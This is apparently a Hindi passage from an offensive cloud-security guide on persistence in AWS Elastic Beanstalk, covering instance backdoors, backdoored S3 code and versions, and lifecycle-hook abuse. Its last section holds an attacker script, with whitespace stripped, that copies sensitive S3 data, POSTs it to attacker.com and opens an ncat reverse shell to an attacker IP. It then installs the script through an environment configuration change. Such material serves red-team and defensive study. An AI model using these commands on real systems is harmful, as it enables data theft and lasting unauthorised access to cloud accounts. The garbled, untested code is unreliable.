AWS अकाउंट के अंदर पर्सिस्टेंस बनाए रखने के लिए, कुछ पर्सिस्टेंस मैकेनिज्म को इंस्टेंस के अंदर पेश किया जा सकता है (cron job, ssh key...) ताकि हमलावर इसे एक्सेस कर सके और मेटाडेटा सर्विस से IAM रोल क्रेडेंशियल्स चुरा सके.
वर्जन में बैकडोर
एक हमलावर S3 रेपो के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपना बैकडोर और अपेक्षित कोड चलाए.
नया बैकडोर्ड वर्जन
वास्तविक वर्जन पर कोड बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर्ड वर्जन डिप्लॉय कर सकता है.
कस्टम रिसोर्स लाइफसाइकल हुक्स का दुरुपयोग
TODO: परीक्षण करें
Elastic Beanstalk लाइफसाइकल हुक्स प्रदान करता है जो आपको इंस्टेंस प्रोविजनिंग और टर्मिनेशन के दौरान कस्टम स्क्रिप्ट्स चलाने की अनुमति देते हैं। एक हमलावर लाइफसाइकल हुक को कॉन्फ़िगर कर सकता है ताकि यह नियमित रूप से एक स्क्रिप्ट चलाए जो डेटा एक्सफिल्ट्रेट करती है या AWS अकाउंट तक पहुँच बनाए रखती है.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"